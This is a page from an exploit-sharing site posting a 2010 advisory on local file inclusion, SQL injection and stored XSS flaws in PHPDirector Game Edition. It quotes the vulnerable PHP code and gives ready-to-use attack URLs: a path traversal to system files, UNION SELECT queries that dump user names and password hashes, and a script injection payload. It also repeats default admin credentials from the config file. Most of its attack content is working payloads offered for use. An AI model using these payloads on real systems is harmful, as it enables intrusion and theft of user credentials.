0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHPDirector Game Edition Multiple Vulnerabilities (LFI/SQLi/Xss)
[================================================================
PHPDirector Game Edition Multiple Vulnerabilities (LFI/SQLi/Xss)
================================================================
# Exploit Title: PHPDirector Game Edition Multiple Vulnerabilities (LFI/SQLi/Xss)
# Date: 2010-01-05
# Author: Zer0 Thunder
# Version: v0.1
# Tested on: Windows XP sp2 [WampServer 2.0i] / LinuxBox ( Ubuntu Server 9.10)
# CVE :
# Code :
Local File Inclusion !
Header.php Vuln
-----------------------------
if(!$_GET["lang"])
{
include("lang/".config('lang'));
}
else
{
SetCookie("lang",$_GET["lang"]);
header('Location: ' . $_SERVER['HTTP_REFERER'] );
}
if (!$_COOKIE["lang"])
{
include("lang/".config('lang'));
}
else
{
$lang = $_COOKIE["lang"];
include("lang/" . $lang . ".inc.php");
}
-------------------------------
Exploit :
http://site.com/path/header.php?header.php?lang=[LFI]
Sample ( Tested on a windows box)
http://localhost/phpdirectorgameedition/header.php?lang=../../../../boot.ini%00
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SQL Injection
Page : Games.php Vuln Page (line 12 / 121 - 128 )
-----------------------------------------
$idc = $_GET["id"];
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if(isset($idc) && is_numeric($idc)){
$id = mysql_real_escape_string($idc);
$result = mysql_query("SELECT * FROM pp_files WHERE id=$id AND `approved` = '1' LIMIT 1") or die(mysql_error());
}else{
$result = mysql_query("select * from pp_files WHERE approved='1' AND reject='0' order by rand() LIMIT 1") or die(mysql_error());
}
-----------------------------------
## There is also a vuln possiblility on line 27-57
Exploit :
http://site/games.php?id=-1 UNION SELECT 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
http://site/games.php?id=-1 UNION SELECT 1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from pp_user--
Example :
DB Version
http://localhost/phpdirectorgameedition/games.php?id=-1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
Users
http://localhost/phpdirectorgameedition/games.php?id=-1 UNION SELECT 1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from pp_user--
# You can't find admin username password in the SQL Database ,It's stroed in config.php
# line 15-16
#
#$cfg["admin_user"] = "admin";
#$cfg["admin_pass"] = "test";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
XSS ( Cross Site Scripting )
You Can even use a Xss Shell on this Vuln
Goto this page
http://localhost/phpdirectorgameedition/games.php?id=1
In the comment form put "<script>alert("XSS")</script>" then put a sybmit the comment
Vuln Code
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if(isset($_POST['go']) && !empty($_POST['comment']) && !empty($_POST['nom']))
{
mysql_query("INSERT INTO pp_comment (file_id, nom, comment,ip) VALUES ('$_POST[id]', '$_POST[nom]','".addslashes($_POST['comment'])."','$ip')");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# 0day.today [2024-11-15] #